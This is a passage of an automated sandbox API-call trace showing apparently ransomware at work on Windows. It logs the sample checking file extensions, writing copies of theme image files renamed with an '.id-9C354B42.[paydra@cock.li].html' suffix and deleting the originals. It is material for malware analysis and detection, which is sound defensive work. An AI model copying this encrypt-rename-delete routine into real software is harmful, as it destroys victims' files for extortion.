lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0046.162] lstrlenW (lpString=".dbf") returned 4 [0046.162] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0046.163] lstrlenW (lpString=".1cd") returned 4 [0046.163] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0046.163] lstrlenW (lpString=".jpg") returned 4 [0046.163] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.164] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.164] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.164] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0046.166] GetLastError () returned 0x0 [0046.166] ReadFile (in: hFile=0x220, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x67b, lpOverlapped=0x0) returned 1 [0046.167] WriteFile (in: hFile=0x214, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x680, lpOverlapped=0x0) returned 1 [0046.168] ReadFile (in: hFile=0x220, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.168] WriteFile (in: hFile=0x214, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.168] SetEndOfFile (hFile=0x214) returned 1 [0046.168] CloseHandle (hObject=0x214) returned 1 [0046.168] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.168] SetEndOfFile (hFile=0x220) returned 1 [0046.169] CloseHandle (hObject=0x220) returned 1 [0046.169] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0046.169] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 1 [0046.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0046.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0046.169] lstrlenW (lpString=".doc") returned 4 [0046.170] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.170] lstrlenW (lpString=".docx") returned 5 [0046.170] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.170] lstrlenW (lpString=".pdf") returned 4 [0046.170] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.170] lstrlenW (lpString=".xls") returned 4 [0046.170] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.170] lstrlenW (lpString=".xlsx") returned 5 [0046.170] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.170] lstrlenW (lpString=".ppt") returned 4 [0046.170] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0046.170] lstrlenW (lpString=".zip") returned 4 [0046.170] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.170] lstrlenW (lpString=".rar") returned 4 [0046.170] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.170] lstrlenW (lpString=".bz2") returned 4 [0046.170] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.170] lstrlenW (lpString=".7z") returned 3 [0046.170] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0046.170] lstrlenW (lpString=".dbf") returned 4 [0046.170] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0046.170] lstrlenW (lpString=".1cd") returned 4 [0046.170] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0046.170] lstrlenW (lpString=".jpg") returned 4 [0046.170] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.171] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=44850) returned 1 [0046.171] CloseHandle (hObject=0x214) returned 1 [0046.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 0x20 [0046.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0046.172] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0046.172] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.172] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.172] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0046.172] GetLastError () returned 0x0 [0046.172] ReadFile (in: hFile=0x214, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0xaf32, lpOverlapped=0x0) returned 1 [0046.174] WriteFile (in: hFile=0x198, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xaf40, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xaf40, lpOverlapped=0x0) returned 1 [0046.176] ReadFile (in: hFile=0x214, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.176] WriteFile (in: hFile=0x198, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.176] SetEndOfFile (hFile=0x198) returned 1 [0046.176] CloseHandle (hObject=0x198) returned 1 [0046.176] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.176] SetEndOfFile (hFile=0x214) returned 1 [0046.177] CloseHandle (hObject=0x214) returned 1 [0046.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0046.178] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 1 [0046.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0046.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0046.178] lstrlenW (lpString=".doc") returned 4 [0046.178] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.178] lstrlenW (lpString=".docx") returned 5 [0046.178] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.178] lstrlenW (lpString=".pdf") returned 4 [0046.178] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.178] lstrlenW (lpString=".xls") returned 4 [0046.178] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.178] lstrlenW (lpString=".xlsx") returned 5 [0046.178] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.178] lstrlenW (lpString=".ppt") returned 4 [0046.178] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0046.178] lstrlenW (lpString=".zip") returned 4 [0046.178] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.178] lstrlenW (lpString=".rar") returned 4 [0046.178] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.178] lstrlenW (lpString=".bz2") returned 4 [0046.178] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.178] lstrlenW (lpString=".7z") returned 3 [0046.178] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0046.179] lstrlenW (lpString=".dbf") returned 4 [0046.179] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0046.179] lstrlenW (lpString=".1cd") returned 4 [0046.179] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0046.179] lstrlenW (lpString=".jpg") returned 4 [0046.179] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.179] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.179] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0046.181] GetLastError () returned 0x0 [0046.181] ReadFile (in: hFile=0x214, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x563, lpOverlapped=0x0) returned 1 [0046.182] WriteFile (in: hFile=0x198, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x570, lpOverlapped=0x0) returned 1 [0046.183] ReadFile (in: hFile=0x214, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.183] WriteFile (in: hFile=0x198, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.183] SetEndOfFile (hFile=0x198) returned 1 [0046.183] CloseHandle (hObject=0x198) returned 1 [0046.183] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.184] SetEndOfFile (hFile=0x214) returned 1 [0046.184] CloseHandle (hObject=0x214) returned 1 [0046.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0046.185] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 1 [0046.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0046.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0046.185] lstrlenW (lpString=".doc") returned 4 [0046.185] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.185] lstrlenW (lpString=".docx") returned 5 [0046.185] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.185] lstrlenW (lpString=".pdf") returned 4 [0046.185] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.185] lstrlenW (lpString=".xls") returned 4 [0046.185] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.185] lstrlenW (lpString=".xlsx") returned 5 [0046.185] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.185] lstrlenW (lpString=".ppt") returned 4 [0046.185] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0046.185] lstrlenW (lpString=".zip") returned 4 [0046.185] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.185] lstrlenW (lpString=".rar") returned 4 [0046.185] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.185] lstrlenW (lpString=".bz2") returned 4 [0046.185] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.185] lstrlenW (lpString=".7z") returned 3 [0046.185] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0046.185] lstrlenW (lpString=".dbf") returned 4 [0046.186] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0046.186] lstrlenW (lpString=".1cd") returned 4 [0046.186] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0046.186] lstrlenW (lpString=".jpg") returned 4 [0046.186] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.186] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=48115) returned 1 [0046.186] CloseHandle (hObject=0x214) returned 1 [0046.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 0x20 [0046.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0046.186] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0046.186] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.186] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.186] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0046.187] GetLastError () returned 0x0 [0046.187] ReadFile (in: hFile=0x214, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0xbbf3, lpOverlapped=0x0) returned 1 [0046.189] WriteFile (in: hFile=0x198, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xbc00, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xbc00, lpOverlapped=0x0) returned 1 [0046.191] ReadFile (in: hFile=0x214, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.191] WriteFile (in: hFile=0x198, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.191] SetEndOfFile (hFile=0x198) returned 1 [0046.192] CloseHandle (hObject=0x198) returned 1 [0046.192] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.192] SetEndOfFile (hFile=0x214) returned 1 [0046.193] CloseHandle (hObject=0x214) returned 1 [0046.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0046.193] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 1 [0046.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0046.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0046.193] lstrlenW (lpString=".doc") returned 4 [0046.193] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.193] lstrlenW (lpString=".docx") returned 5 [0046.193] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.193] lstrlenW (lpString=".pdf") returned 4 [0046.193] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.193] lstrlenW (lpString=".xls") returned 4 [0046.193] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.193] lstrlenW (lpString=".xlsx") returned 5 [0046.193] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.194] lstrlenW (lpString=".ppt") returned 4 [0046.194] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0046.194] lstrlenW (lpString=".zip") returned 4 [0046.194] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.194] lstrlenW (lpString=".rar") returned 4 [0046.194] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.194] lstrlenW (lpString=".bz2") returned 4 [0046.194] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.194] lstrlenW (lpString=".7z") returned 3 [0046.194] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0046.194] lstrlenW (lpString=".dbf") returned 4 [0046.194] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0046.194] lstrlenW (lpString=".1cd") returned 4 [0046.194] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0046.194] lstrlenW (lpString=".jpg") returned 4 [0046.194] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.194] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.194] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.195] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0046.464] GetLastError () returned 0x0 [0046.464] ReadFile (in: hFile=0x214, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x554, lpOverlapped=0x0) returned 1 [0046.466] WriteFile (in: hFile=0x1e8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x560, lpOverlapped=0x0) returned 1 [0046.466] ReadFile (in: hFile=0x214, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.466] WriteFile (in: hFile=0x1e8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.467] SetEndOfFile (hFile=0x1e8) returned 1 [0046.467] CloseHandle (hObject=0x1e8) returned 1 [0046.467] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.467] SetEndOfFile (hFile=0x214) returned 1 [0046.468] CloseHandle (hObject=0x214) returned 1 [0046.468] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0046.468] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 1 [0046.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0046.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0046.468] lstrlenW (lpString=".doc") returned 4 [0046.468] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.468] lstrlenW (lpString=".docx") returned 5 [0046.468] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.468] lstrlenW (lpString=".pdf") returned 4 [0046.468] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.468] lstrlenW (lpString=".xls") returned 4 [0046.468] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.468] lstrlenW (lpString=".xlsx") returned 5 [0046.469] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.469] lstrlenW (lpString=".ppt") returned 4 [0046.469] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0046.469] lstrlenW (lpString=".zip") returned 4 [0046.469] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.469] lstrlenW (lpString=".rar") returned 4 [0046.469] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.469] lstrlenW (lpString=".bz2") returned 4 [0046.469] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 